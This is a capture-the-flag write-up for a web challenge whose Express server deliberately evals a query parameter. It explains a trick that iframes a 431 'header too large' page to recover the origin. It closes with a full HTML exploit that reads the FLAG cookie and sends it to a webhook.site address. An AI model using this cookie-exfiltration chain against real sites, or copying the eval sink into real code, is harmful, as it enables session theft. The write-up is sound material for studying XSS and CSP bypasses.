Unfortunately, I solved this challenge only 30 minutes after the CTF ended. Here is my write-up about the challenge.
Description
This is a fixed challenge of disconnection.
- Challenge: http://34.170.146.252:55944, Admin bot: http://34.170.146.252:56152 shared
Exploit
In this challenge, we are given source code like this:
import express from "express";
const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();
express()
.use("/", (req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.use((err, req, res, next) => {
// revenge!
res.socket.destroy(); // disconnected
})
.listen(3000);
The interesting part about this source code is in the Content Security Policy (CSP):
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
The disconnect mechanism:
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.use((err, req, res, next) => {
// revenge!
res.socket.destroy(); // disconnected
})
There's also a code injection vulnerability here that allows us to gain XSS:
const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();
The flag is located in the /cookie path, as shown in this snippet of the source code:
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/cookie", // 🍪
});
The interesting part is that we can't get the flag easily by accessing /cookie directly using XSS and get the cookie from that. The disconnect mechanism causes us to be instantly disconnected when accessing any URL except /, resulting in a browser error. Therefore, when we try to access URLs like /cookie, the browser will instantly error ERR_EMPTY_RESPONSE, and the origin will be null as shown in the image below.
There’s a trick introduced in a previous Google CTF to bypass this issue, as detailed in this Google CTF solution. The trick involves adding an arbitrarily large number of characters into the parameters to make the server return 431 (Request Header Fields Too Large). However, simply adding a large number of characters to the parameters won't work, as shown in the image below, where the origin is still null.
The key is to iframe the 431 page, which somehow makes the origin become the original origin instead of null, as shown in the image below.
But… there’s always a problem after problem. The cookie isn’t included in the iframe because the cookie isn’t set to SameSite=None, so it’s not included in the iframe in a different origin.
I just found a strange trick after trying to open a new opener inside the /cookie path here:
When I try to open(""), it will have an origin, and the location is about:blank. There’s also the flag that should be in the /cookie path. I assume that the window we open is somehow in the /cookie path, but with the about:blank location. I don't know why this happens 💀. But here is my final exploit:
<html>
<body>
<iframe></iframe>
<iframe></iframe>
<script>
async function main(){
const target = "disconnection-revenge"
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
var iframe = document.getElementsByTagName('iframe')[0];
iframe.src = "http://"+target+":3000/cookie/?"+"A".repeat(100000);
await sleep(1000);
var iframe2 = document.getElementsByTagName('iframe')[1];
iframe2.src = "http://"+target+":3000/?xss="+"w = top.frames[0].open('');setTimeout(()=>{open(`https://webhook.site/37fa4a4c-9842-42db-9431-a15d81aee4a0?${w.document.cookie}`)},1000)";
await sleep(1000);
}
main();
</script>
</body>
</html>
